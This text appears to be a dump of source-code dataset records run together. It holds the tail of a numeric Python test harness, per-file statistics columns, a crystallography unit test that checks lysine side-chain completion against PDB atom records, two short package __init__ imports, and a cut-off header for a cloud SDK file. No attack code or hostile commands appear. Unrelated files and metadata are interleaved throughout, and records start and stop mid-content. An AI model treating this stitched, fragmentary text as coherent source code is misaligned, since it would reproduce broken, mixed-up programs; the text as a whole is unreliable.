64, 70, 71, 72, 74, 78, 81, 83, 90], [3, 8, 10, 10, 16, 18, 22, 26, 34, 35, 39, 46, 51, 52, 63, 67, 69, 71, 79, 82, 86, 86, 87], [4, 5, 6, 7, 14, 14, 16, 19, 25, 33, 49, 59, 60, 61, 61, 71, 74, 76, 77, 84, 94, 95, 97], [1, 9, 9, 9, 10, 11, 29, 29, 30, 33, 39, 64, 65, 68, 70, 70, 72, 72, 76, 77, 88, 89, 91], [12, 16, 19, 20, 26, 30, 33, 35, 45, 47, 51, 51, 72, 72, 72, 75, 82, 85, 89, 94, 95, 95, 97], [3, 5, 9, 17, 19, 19, 24, 36, 40, 43, 43, 55, 55, 61, 66, 67, 67, 68, 78, 80, 81, 84, 91], [2, 8, 13, 14, 14, 16, 16, 18, 19, 22, 24, 35, 37, 40, 41, 54, 56, 86, 88, 88, 91, 94, 99], [6, 8, 9, 10, 13, 13, 16, 21, 23, 26, 35, 39, 50, 59, 78, 79, 79, 80, 83, 87, 90, 93, 99], [6, 7, 9, 14, 18, 23, 28, 30, 31, 40, 41, 44, 48, 52, 56, 66, 69, 70, 76, 76, 78, 91, 91], [1, 9, 18, 20, 20, 30, 31, 36, 41, 41, 41, 46, 51, 59, 63, 64, 65, 83, 84, 89, 91, 93, 94], [4, 6, 12, 14, 17, 18, 21, 27, 32, 36, 45, 47, 48, 55, 60, 64, 66, 74, 79, 82, 82, 96, 99], [9, 28, 28, 32, 36, 36, 38, 43, 47, 48, 53, 61, 64, 68, 68, 86, 87, 90, 91, 94, 96, 97, 98], [6, 7, 8, 11, 14, 23, 23, 26, 29, 43, 44, 46, 53, 55, 65, 67, 72, 83, 89, 93, 98, 99, 99], [4, 6, 14, 20, 25, 29, 30, 45, 52, 54, 55, 56, 63, 65, 66, 66, 70, 71, 77, 79, 88, 90, 96], [2, 4, 4, 8, 12, 18, 19, 20, 32, 33, 34, 36, 47, 56, 66, 66, 66, 67, 73, 76, 78, 92, 92], [4, 11, 19, 20, 24, 28, 31, 33, 33, 35, 40, 42, 43, 44, 44, 48, 56, 58, 75, 79, 84, 92, 97]],11,19,), ([[82, 68, 56, 10, 52, 4, 16, -70, -52, -72, 40, 50, 44, -26, -20, 66, 40, 60, 86, 66, 94, -98], [-54, -94, -6, 38, -28, -12, 8, 34, 12, 74, -42, 24, -56, 74, -10, 62, -96, -46, 2, -20, 70, 12], [-54, 22, -82, -26, -86, -94, -36, 88, 12, -66, 42, 62, -74, 52, 2, -64, -34, 90, -84, -96, -42, -84], [78, 12, 8, 90, -16, 76, -58, 86, 16, -34, 20, 48, -88, 16, 44, 86, 72, -32, 4, -52, -48, -70], [-6, 48, 52, -14, 96, -50, 76, -26, 82, -52, 32, 42, -70, -12, -34, 48, 90, -50, -32, -32, 72, 68], [34, 18, -94, -34, 2, -66, 4, 16, 96, -2, -14, -82, -28, -60, -74, -64, 56, -38, 76, 24, -78, 42], [14, -42, -94, 2, -54, -76, 0, 90, -6, 0, 94, 24, -66, 34, 86, -80, -38, -20, 50, 96, 38, -68], [-88, 86, 74, 58, -6, 48, 2, -60, 20, -66, -6, 58, 4, -32, 34, -82, -64, 20, 6, 58, -84, 48], [-88, 94, 10, 28, -40, -46, 10, 14, -74, -8, -46, 8, -16, 70, -16, 96, -62, -82, 84, -94, 16, 12], [-2, 0, -32, 96, 86, 42, 96, 34, 0, 8, 50, 86, 46, -34, -18, -26, 52, -28, -98, 94, -42, -84], [90, -66, 48, 12, 2, -46, 64, 70, -66, -90, -38, -56, -10, 34, -70, 36, 46, 62, 96, 78, 72, 78], [14, -66, -38, 60, -46, 22, -64, -54, -94, -90, 32, 98, 12, 4, -52, -52, 2, -8, 96, 60, -94, 34], [-6, -4, 70, 88, -92, -8, -32, -88, -18, -92, 2, 50, -16, -56, 92, 74, 98, 78, -36, 90, 60, 78], [46, -18, 56, -46, -78, 40, -74, 64, -32, 80, 16, -88, -84, 34, 98, 66, 92, 18, 68, -48, -76, 74], [96, -14, -60, 48, 20, -26, 92, 68, -54, 80, -68, 32, -94, 96, -60, 42, 82, -6, 84, -52, -80, 70], [-16, 40, -66, -12, 76, 10, -98, -16, -24, 14, -34, 40, 54, 40, -42, 44, 88, -88, -22, 30, 24, -24], [32, -14, 88, 68, -26, -2, 46, 14, -10, -56, -66, -18, -82, 48, 46, 74, -74, 46, 6, -70, -98, 8], [62, -74, 18, -6, 70, -50, -58, -14, 98, -42, -22, 36, 78, 14, -76, 4, -84, -32, 60, -34, -52, -14], [28, 0, 64, 32, -60, -4, 72, 46, -52, 26, -72, 4, -88, -36, 92, 42, 84, 28, -76, -92, 20, 78], [26, -14, -78, -44, -98, 56, -88, 32, 74, -40, -96, -26, 36, -32, 22, 22, -80, -10, 86, -52, 98, 58], [-68, 8, 18, -14, -64, 34, 2, 76, 38, -48, 60, -18, -96, -28, 60, 70, 36, -58, -32, 72, -18, 66], [96, 20, 74, -70, -64, -30, 88, 50, 20, -2, 38, 8, 10, -86, 48, -44, -14, 18, 78, 56, 26, 76]],21,19,), ([[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1]],12,13,), ([[93, 92, 85, 87, 63], [1, 60, 73, 25, 93], [2, 98, 22, 39, 4], [98, 55, 51, 49, 81], [29, 53, 81, 83, 92]],2,3,) ] n_success = 0 for i, parameters_set in enumerate(param): f_filled(*(filled_function_param[i])) f_gold(*parameters_set) if parameters_set == filled_function_param[i]: n_success+=1 print("#Results: %i, %i" % (n_success, len(param)))
563.422535
6,735
0.398195
10,534
40,003
1.5075
0.014809
0.1733
0.144332
0.112343
0.953904
0.952771
0.952771
0.952771
0.952771
0.952771
0
0.521935
0.274054
40,003
71
6,736
563.422535
0.024897
0.004625
0
0.393443
0
0
0.000703
0
0
0
0
0
0
1
0.016393
false
0
0
0
0.016393
0.098361
0
0
1
null
0
0
0
1
1
1
1
1
1
0
1
0
0
0
1
1
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
11
484a0cedaccd46f0fada3b1f5e822a092fe3edb0
20,710
py
Python
mmtbx/building/tst_extend_sidechains_2.py
dperl-sol/cctbx_project
b9e390221a2bc4fd00b9122e97c3b79c632c6664
[ "BSD-3-Clause-LBNL" ]
155
2016-11-23T12:52:16.000Z
2022-03-31T15:35:44.000Z
mmtbx/building/tst_extend_sidechains_2.py
dperl-sol/cctbx_project
b9e390221a2bc4fd00b9122e97c3b79c632c6664
[ "BSD-3-Clause-LBNL" ]
590
2016-12-10T11:31:18.000Z
2022-03-30T23:10:09.000Z
mmtbx/building/tst_extend_sidechains_2.py
dperl-sol/cctbx_project
b9e390221a2bc4fd00b9122e97c3b79c632c6664
[ "BSD-3-Clause-LBNL" ]
115
2016-11-15T08:17:28.000Z
2022-02-09T15:30:14.000Z
from __future__ import absolute_import, division, print_function from mmtbx.building import extend_sidechains import mmtbx.monomer_library from scitbx.array_family import flex import iotbx.pdb from libtbx.test_utils import approx_equal mon_lib_srv = mmtbx.monomer_library.server.server() ### pdb_str0_bad=""" ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N ATOM 0 HA LYS A 7 5.646 6.153 2.918 1.00 18.23 H new remark ATOM 0 HB2 LYS A 7 3.514 5.375 1.233 1.00 23.56 H new remark ATOM 0 HB3 LYS A 7 3.315 6.378 2.411 1.00 23.56 H new remark ATOM 0 HG2 LYS A 7 4.599 7.982 1.386 1.00 33.58 H new remark ATOM 0 HG3 LYS A 7 5.161 6.961 0.350 1.00 33.58 H new remark ATOM 0 HD2 LYS A 7 2.426 7.717 0.393 1.00 41.39 H new remark ATOM 0 HD3 LYS A 7 3.456 8.385 -0.570 1.00 41.39 H new remark ATOM 0 HE2 LYS A 7 3.826 6.296 -1.622 1.00 48.81 H new remark ATOM 0 HE3 LYS A 7 2.797 5.628 -0.660 1.00 48.81 H new remark ATOM 0 HZ1 LYS A 7 1.802 6.117 -2.648 1.00 48.81 H new remark ATOM 0 HZ2 LYS A 7 1.154 6.908 -1.616 1.00 48.81 H new remark ATOM 0 HZ3 LYS A 7 2.113 7.530 -2.513 1.00 48.81 H new """ pdb_str0_good=""" ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N ATOM 0 HA LYS A 7 5.646 6.153 2.918 1.00 18.23 H new ATOM 0 HB2 LYS A 7 3.514 5.375 1.233 1.00 23.56 H new ATOM 0 HB3 LYS A 7 3.315 6.378 2.411 1.00 23.56 H new ATOM 0 HG2 LYS A 7 4.599 7.982 1.386 1.00 33.58 H new ATOM 0 HG3 LYS A 7 5.161 6.961 0.350 1.00 33.58 H new ATOM 0 HD2 LYS A 7 2.426 7.717 0.393 1.00 41.39 H new ATOM 0 HD3 LYS A 7 3.456 8.385 -0.570 1.00 41.39 H new ATOM 0 HE2 LYS A 7 3.826 6.296 -1.622 1.00 48.81 H new ATOM 0 HE3 LYS A 7 2.797 5.628 -0.660 1.00 48.81 H new ATOM 0 HZ1 LYS A 7 1.802 6.117 -2.648 1.00 48.81 H new ATOM 0 HZ2 LYS A 7 1.154 6.908 -1.616 1.00 48.81 H new ATOM 0 HZ3 LYS A 7 2.113 7.530 -2.513 1.00 48.81 H new """ ### pdb_str1_bad=""" ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C remark ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N ATOM 0 HA LYS A 7 5.646 6.153 2.918 1.00 18.23 H new ATOM 0 HB2 LYS A 7 3.514 5.375 1.233 1.00 23.56 H new ATOM 0 HB3 LYS A 7 3.315 6.378 2.411 1.00 23.56 H new ATOM 0 HG2 LYS A 7 4.599 7.982 1.386 1.00 33.58 H new ATOM 0 HG3 LYS A 7 5.161 6.961 0.350 1.00 33.58 H new ATOM 0 HD2 LYS A 7 2.426 7.717 0.393 1.00 41.39 H new ATOM 0 HD3 LYS A 7 3.456 8.385 -0.570 1.00 41.39 H new ATOM 0 HE2 LYS A 7 3.826 6.296 -1.622 1.00 48.81 H new ATOM 0 HE3 LYS A 7 2.797 5.628 -0.660 1.00 48.81 H new ATOM 0 HZ1 LYS A 7 1.802 6.117 -2.648 1.00 48.81 H new ATOM 0 HZ2 LYS A 7 1.154 6.908 -1.616 1.00 48.81 H new ATOM 0 HZ3 LYS A 7 2.113 7.530 -2.513 1.00 48.81 H new """ pdb_str1_good=""" ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N ATOM 0 HA LYS A 7 5.646 6.153 2.918 1.00 18.23 H new ATOM 0 HB2 LYS A 7 3.514 5.375 1.233 1.00 23.56 H new ATOM 0 HB3 LYS A 7 3.315 6.378 2.411 1.00 23.56 H new ATOM 0 HG2 LYS A 7 4.599 7.982 1.386 1.00 33.58 H new ATOM 0 HG3 LYS A 7 5.161 6.961 0.350 1.00 33.58 H new ATOM 0 HD2 LYS A 7 2.426 7.717 0.393 1.00 41.39 H new ATOM 0 HD3 LYS A 7 3.456 8.385 -0.570 1.00 41.39 H new ATOM 0 HE2 LYS A 7 3.826 6.296 -1.622 1.00 48.81 H new ATOM 0 HE3 LYS A 7 2.797 5.628 -0.660 1.00 48.81 H new ATOM 0 HZ1 LYS A 7 1.802 6.117 -2.648 1.00 48.81 H new ATOM 0 HZ2 LYS A 7 1.154 6.908 -1.616 1.00 48.81 H new ATOM 0 HZ3 LYS A 7 2.113 7.530 -2.513 1.00 48.81 H new """ ### pdb_str2_bad=""" ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C remark ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N """ pdb_str2_good=""" ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N """ ### pdb_str3_bad=""" ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C remark ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N """ pdb_str3_good=""" ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N """ ### pdb_str4_bad=""" ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C remark ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N """ pdb_str4_good=""" ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N """ ### pdb_str5_bad=""" ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N remark ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N """ pdb_str5_good=""" ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N """ ### pdb_str6_bad=""" ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O remark ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N TER """ pdb_str6_good="""\ ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N TER """ ### pdb_str7_good=""" ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N ATOM 0 HA LYS A 7 5.646 6.153 2.918 1.00 18.23 H new ATOM 0 HB2 LYS A 7 3.514 5.375 1.233 1.00 23.56 H new ATOM 0 HB3 LYS A 7 3.315 6.378 2.411 1.00 23.56 H new ATOM 0 HG2 LYS A 7 4.599 7.982 1.386 1.00 33.58 H new ATOM 0 HG3 LYS A 7 5.161 6.961 0.350 1.00 33.58 H new ATOM 0 HD2 LYS A 7 2.426 7.717 0.393 1.00 41.39 H new ATOM 0 HD3 LYS A 7 3.456 8.385 -0.570 1.00 41.39 H new ATOM 0 HE2 LYS A 7 3.826 6.296 -1.622 1.00 48.81 H new ATOM 0 HE3 LYS A 7 2.797 5.628 -0.660 1.00 48.81 H new ATOM 0 HZ1 LYS A 7 1.802 6.117 -2.648 1.00 48.81 H new ATOM 0 HZ2 LYS A 7 1.154 6.908 -1.616 1.00 48.81 H new ATOM 0 HZ3 LYS A 7 2.113 7.530 -2.513 1.00 48.81 H new """ pdb_str7_bad=""" ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C remark ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N """ pdb_str_do_no_move_if_complete=""" ATOM 1 N LYS A 7 6.187 5.271 2.497 1.00 17.49 N ATOM 2 CA LYS A 7 5.198 6.138 3.127 1.00 18.23 C ATOM 3 C LYS A 7 4.507 5.426 4.285 1.00 14.78 C ATOM 4 O LYS A 7 3.859 4.396 4.096 1.00 15.83 O ATOM 5 CB LYS A 7 4.161 6.608 2.104 1.00 23.56 C ATOM 6 CG LYS A 7 4.553 7.868 1.345 1.00 33.58 C ATOM 7 CD LYS A 7 5.574 7.573 0.257 1.00 41.39 C ATOM 8 CE LYS A 7 4.958 6.765 -0.874 1.00 48.81 C ATOM 9 NZ LYS A 7 5.929 6.522 -1.976 1.00 48.81 N TER END """ ### def check(answer, result, bad): a = list(answer.atoms().extract_name()) a.sort() # r = list(result.atoms().extract_name()) r.sort() # b = list(bad.atoms().extract_name()) b.sort() # diff = list(set(r).symmetric_difference(set(a))) assert len(diff) in [0,1], diff if(len(diff)==1): assert diff[0]==' H ', diff assert b!=a # xyz_a = flex.vec3_double() xyz_r = flex.vec3_double() for aa in answer.atoms(): for ar in result.atoms(): if(aa.name == ar.name): xyz_a.append(aa.xyz) xyz_r.append(ar.xyz) print(flex.max(flex.sqrt((xyz_a - xyz_r).dot()))) def exercise_extend_sidechains(pdb_str_bad, pdb_str_good, i, Sorry_msg, add_h): pdb_inp = iotbx.pdb.input(source_info=None, lines=pdb_str_bad) pdb_h = pdb_inp.construct_hierarchy() pdb_h.write_pdb_file(file_name="m_in_%d.pdb"%i) pdb_h_bad = pdb_h.deep_copy() e = None try: extend_sidechains.extend_protein_model( pdb_hierarchy = pdb_h, mon_lib_srv = mon_lib_srv, add_hydrogens = add_h) except Exception as e: if(Sorry_msg is not None): assert str(e).find(Sorry_msg)>-1 return # pdb_h.write_pdb_file(file_name="m_completed_%d.pdb"%i) pdb_h_result = pdb_h.deep_copy() # pdb_inp = iotbx.pdb.input(source_info=None, lines=pdb_str_good) pdb_h_answer = pdb_inp.construct_hierarchy() pdb_h_answer.write_pdb_file(file_name="m_good_%d.pdb"%i) # check(answer=pdb_h_answer, result=pdb_h_result, bad=pdb_h_bad) def exercise_do_not_move_if_complete(): pdb_inp = iotbx.pdb.input(source_info=None, lines=pdb_str_do_no_move_if_complete) pdb_h = pdb_inp.construct_hierarchy() xyz1 = pdb_h.atoms().extract_xyz() pdb_h_completed = pdb_h.deep_copy() extend_sidechains.extend_protein_model( pdb_hierarchy = pdb_h_completed, mon_lib_srv = mon_lib_srv, add_hydrogens = False) xyz2 = pdb_h_completed.atoms().extract_xyz() assert approx_equal(flex.max(flex.sqrt((xyz1 - xyz2).dot())),0.0) if(__name__ == "__main__"): exercise_do_not_move_if_complete() # for i, t in enumerate([ (pdb_str0_bad, pdb_str0_good, None, None), (pdb_str1_bad, pdb_str1_good, None, None), (pdb_str2_bad, pdb_str2_good, None, None), (pdb_str3_bad, pdb_str3_good, None, None), (pdb_str4_bad, pdb_str4_good, "Main chain must be complete.", None), (pdb_str5_bad, pdb_str5_good, "Main chain must be complete.", None), (pdb_str6_bad, pdb_str6_good, None, None), (pdb_str7_bad, pdb_str7_good, None, True), ]): exercise_extend_sidechains( pdb_str_bad=t[0], pdb_str_good=t[1], i=i, Sorry_msg=t[2], add_h=t[3]) print("OK")
55.079787
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20,710
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0.060499
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0.044961
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0.815812
0.796481
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0.463786
20,710
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0.84445
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0.015337
1
0.009202
false
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0.030675
0.009202
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null
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10
48512cf16fb45b97c4843b043635e659283087ed
112
py
Python
acousticsim/analysis/mfcc/__init__.py
JoFrhwld/python-acoustic-similarity
50f71835532010b2fedf14b0ca3a52d88a9ab380
[ "MIT" ]
5
2018-01-15T22:06:20.000Z
2022-02-21T07:02:40.000Z
acousticsim/analysis/mfcc/__init__.py
JoFrhwld/python-acoustic-similarity
50f71835532010b2fedf14b0ca3a52d88a9ab380
[ "MIT" ]
null
null
null
acousticsim/analysis/mfcc/__init__.py
JoFrhwld/python-acoustic-similarity
50f71835532010b2fedf14b0ca3a52d88a9ab380
[ "MIT" ]
2
2019-11-28T17:06:27.000Z
2019-12-05T22:57:28.000Z
from .rastamat import file_to_mfcc, signal_to_mfcc from .praat import file_to_mfcc_praat, signal_to_mfcc_praat
28
59
0.866071
20
112
4.35
0.4
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0.275862
0.367816
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0
0.098214
112
3
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37.333333
0.861386
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true
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null
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null
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0
0
0
0
1
0
1
0
0
0
0
7
48784ee38777811767e13bb9596714a970a790cb
107
py
Python
deepneat/nn/__init__.py
kato-mahiro/deepneat-python
ee91ad52f4878d31630baa271b316b7b2054a8fa
[ "BSD-3-Clause" ]
null
null
null
deepneat/nn/__init__.py
kato-mahiro/deepneat-python
ee91ad52f4878d31630baa271b316b7b2054a8fa
[ "BSD-3-Clause" ]
null
null
null
deepneat/nn/__init__.py
kato-mahiro/deepneat-python
ee91ad52f4878d31630baa271b316b7b2054a8fa
[ "BSD-3-Clause" ]
null
null
null
from deepneat.nn.feed_forward import FeedForwardNetwork from deepneat.nn.recurrent import RecurrentNetwork
35.666667
55
0.88785
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107
7.230769
0.692308
0.255319
0.297872
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0
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0.074766
107
2
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53.5
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true
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null
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1
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1
0
0
7
d25cbd29f6c2c35f6347ce74748e185636fe9794
21,469
py
Python
sdk/python/pulumi_gcp/sql/ssl_cert.py
sisisin/pulumi-gcp
af6681d70ea457843409110c1324817fe55f68ad
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
sdk/python/pulumi_gcp/sql/ssl_cert.py
sisisin/pulumi-gcp
